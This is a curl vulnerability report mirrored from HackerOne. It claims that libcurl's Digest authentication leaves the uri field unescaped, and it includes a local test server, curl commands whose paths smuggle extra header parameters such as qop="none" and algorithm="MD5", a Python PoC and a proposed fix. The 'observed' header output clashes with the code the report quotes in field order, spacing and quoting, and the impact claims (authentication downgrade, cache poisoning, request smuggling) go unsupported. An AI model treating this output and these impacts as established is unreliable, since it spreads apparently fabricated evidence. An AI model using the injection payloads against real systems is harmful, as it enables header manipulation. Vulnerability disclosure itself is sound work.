HexBrain

curl · Report #3508799

Digest Authentication Header Injection

Informativestatus
lowseverity
8upvotes
14 Jan 2026disclosed

How it was found

Summary

The Digest authentication implementation in libcurl fails to properly escape the uri parameter in the Authorization header. While other parameters like username, realm, and nonce are correctly escaped using auth_digest_string_quoted(), the uri is inserted raw into the header. This allows an attacker who can control the request URI to inject additional parameters into the HTTP Authorization header, potentially bypassing security controls or causing protocol confusion.

Affected Component

  • File: lib/vauth/digest.c
  • Function: auth_create_digest_http_message
  • Lines: 867-897

Vulnerability Details

Root Cause

In lib/vauth/digest.c, the Digest authentication response is constructed using curl_maprintf. The function properly escapes most parameters but fails to escape the uri parameter:

/* lib/vauth/digest.c:867-882 */
if(digest->qop) {
  response = curl_maprintf("username=\"%s\", "
                           "realm=\"%s\", "
                           "nonce=\"%s\", "
                           "uri=\"%s\", "      // <- VULNERABLE: uri not escaped
                           "cnonce=\"%s\", "
                           "nc=%08x, "
                           "qop=%s, "
                           "response=\"%s\"",
                           userp_quoted,       // <- username IS escaped
                           realm_quoted,       // <- realm IS escaped
                           nonce_quoted,       // <- nonce IS escaped
                           uripath,            // <- uri NOT escaped
                           digest->cnonce,
                           digest->nc,
                           digest->qop,
                           request_digest);
}

Compare this to how username is handled:

/* lib/vauth/digest.c:835-843 */
userp_quoted = auth_digest_string_quoted(userp);
if(!userp_quoted)
  return CURLE_OUT_OF_MEMORY;

The auth_digest_string_quoted() function (lines 151-180) properly escapes double quotes and backslashes:

static char *auth_digest_string_quoted(const char *source)
{
  char *dest;
  const char *s = source;
  size_t n = 1; /* null-terminator */
  
  /* Calculate size needed */
  while(*s) {
    ++n;
    if(*s == '"' || *s == '\\') {
      ++n;  // Need extra byte for escape character
    }
    ++s;
  }
  
  dest = curlx_malloc(n);
  if(dest) {
    char *d = dest;
    s = source;
    while(*s) {
      if(*s == '"' || *s == '\\') {
        *d++ = '\\';  // Add escape character
      }
      *d++ = *s++;
    }
    *d = '\0';
  }
  
  return dest;
}

Attack Mechanism

If an attacker can control the URI path to include a double quote character, they can:

  1. Terminate the uri field early
  2. Inject arbitrary parameters into the Digest header
  3. Potentially override security-critical parameters like qop or algorithm

Proof of Concept

Prerequisites

  • curl with Digest authentication support
  • Python 3.x for the test server

Step 1: Create the Test Server

Save this as digest_server.py:


import socket
import threading
import time

def start_server(port=8081):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('127.0.0.1', port))
    s.listen(1)
    print(f"[*] Digest test server listening on port {port}")
    
    while True:
        try:
            conn, addr = s.accept()
            data = conn.recv(4096).decode('utf-8', errors='replace')
            
            if "Authorization: Digest" not in data:
                # Send 401 challenge
                response = (
                    "HTTP/1.1 401 Unauthorized\r\n"
                    "WWW-Authenticate: Digest realm=\"test\", "
                    "nonce=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\", "
                    "qop=\"auth\"\r\n"
                    "Content-Length: 0\r\n"
                    "\r\n"
                )
                conn.sendall(response.encode())
                print("[*] Sent 401 challenge")
            else:
                # Extract and display Authorization header
                print("\n=== RECEIVED REQUEST ===")
                for line in data.split('\r\n'):
                    if line.startswith('Authorization:'):
                        print(f"\n{line}\n")
                        
                        # Highlight the injection
                        if 'injected=' in line:
                            print("[!] INJECTION DETECTED!")
                            print("[!] The 'injected' parameter should NOT be in the header")
                
                # Send 200 OK
                response = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK"
                conn.sendall(response.encode())
                
            conn.close()
        except Exception as e:
            print(f"[-] Error: {e}")

if __name__ == "__main__":
    start_server()

Step 2: Start the Server

python digest_server.py

Step 3: Execute the Attack

In another terminal, run curl with a malicious path containing a double quote:

curl -v --path-as-is --digest 'http://user:[email protected]:8081/index.html",injected="true'

Important: The --path-as-is flag is required to prevent curl from normalizing the path.

Step 4: Observe the Result

The server will display output similar to:

[*] Sent 401 challenge

=== RECEIVED REQUEST ===

Authorization: Digest username="user",realm="test",nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",uri="/index.html",injected="true",cnonce="NjE3ZjJkMzQwYzQyMQ==",nc=00000001,response="6629fae49393a05397450978507c4ef1",qop="auth"

[!] INJECTION DETECTED!
[!] The 'injected' parameter should NOT be in the header

Analysis of the Injected Header

The malicious path /index.html",injected="true causes the following header structure:

uri="/index.html",injected="true"

Instead of the expected:

uri="/index.html\",injected=\"true"

This demonstrates that:

  1. The double quote in the path terminates the uri field
  2. The attacker-controlled string injected="true" is inserted as a new parameter
  3. The Digest authentication header is now malformed with an injected parameter

Alternative PoC (Python Script)

import subprocess

# Malicious URL with quote injection
url = 'http://user:[email protected]:8081/index.html",injected="true'

# Execute curl
cmd = ['curl', '-v', '--path-as-is', '--digest', url]
result = subprocess.run(cmd, capture_output=True, text=True)

print("=== STDERR (includes headers) ===")
print(result.stderr)

# Look for the injection
if 'injected="true"' in result.stderr:
    print("\n[!] VULNERABILITY CONFIRMED")
    print("[!] The injected parameter appears in the Authorization header")
else:
    print("\n[*] Injection not detected in output")

Impact

Impact

Security Implications

  1. Authentication Parameter Manipulation

    • Attacker can inject qop="none" to downgrade authentication
    • Inject algorithm="MD5" to force weaker algorithms
    • Add custom parameters that might confuse proxies or servers
  2. Protocol Confusion

    • Malformed headers may cause different parsing by intermediaries
    • Could lead to request smuggling in certain proxy configurations
  3. Cache Poisoning

    • Injected parameters might affect cache keys
    • Could lead to serving wrong content to users
  4. Logging and Monitoring Bypass

    • Security tools parsing the header may be confused
    • Injected parameters might not be logged correctly

Attack Scenarios

Scenario 1: QoP Downgrade

curl --digest 'http://user:[email protected]/path",qop="none'

Result: uri="/path",qop="none",cnonce=... - potentially downgrades authentication

Scenario 2: Algorithm Manipulation

curl --digest 'http://user:[email protected]/path",algorithm="MD5'

Result: Forces MD5 algorithm even if server supports stronger options

Recommendation

Fix

Update lib/vauth/digest.c to escape the uri parameter using auth_digest_string_quoted():

/* lib/vauth/digest.c - FIXED VERSION */

// Add this before constructing the response
char *uri_quoted = auth_digest_string_quoted(uripath);
if(!uri_quoted) {
  curlx_free(nonce_quoted);
  curlx_free(realm_quoted);
  curlx_free(userp_quoted);
  return CURLE_OUT_OF_MEMORY;
}

if(digest->qop) {
  response = curl_maprintf("username=\"%s\", "
                           "realm=\"%s\", "
                           "nonce=\"%s\", "
                           "uri=\"%s\", "      // Now using escaped version
                           "cnonce=\"%s\", "
                           "nc=%08x, "
                           "qop=%s, "
                           "response=\"%s\"",
                           userp_quoted,
                           realm_quoted,
                           nonce_quoted,
                           uri_quoted,         // <- FIXED: using escaped uri
                           digest->cnonce,
                           digest->nc,
                           digest->qop,
                           request_digest);
}

// Don't forget to free
curlx_free(uri_quoted);

Verification

After applying the fix, the PoC should result in a properly escaped header:

uri="/index.html\",injected=\"true"

The double quotes will be escaped and the injection will fail.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original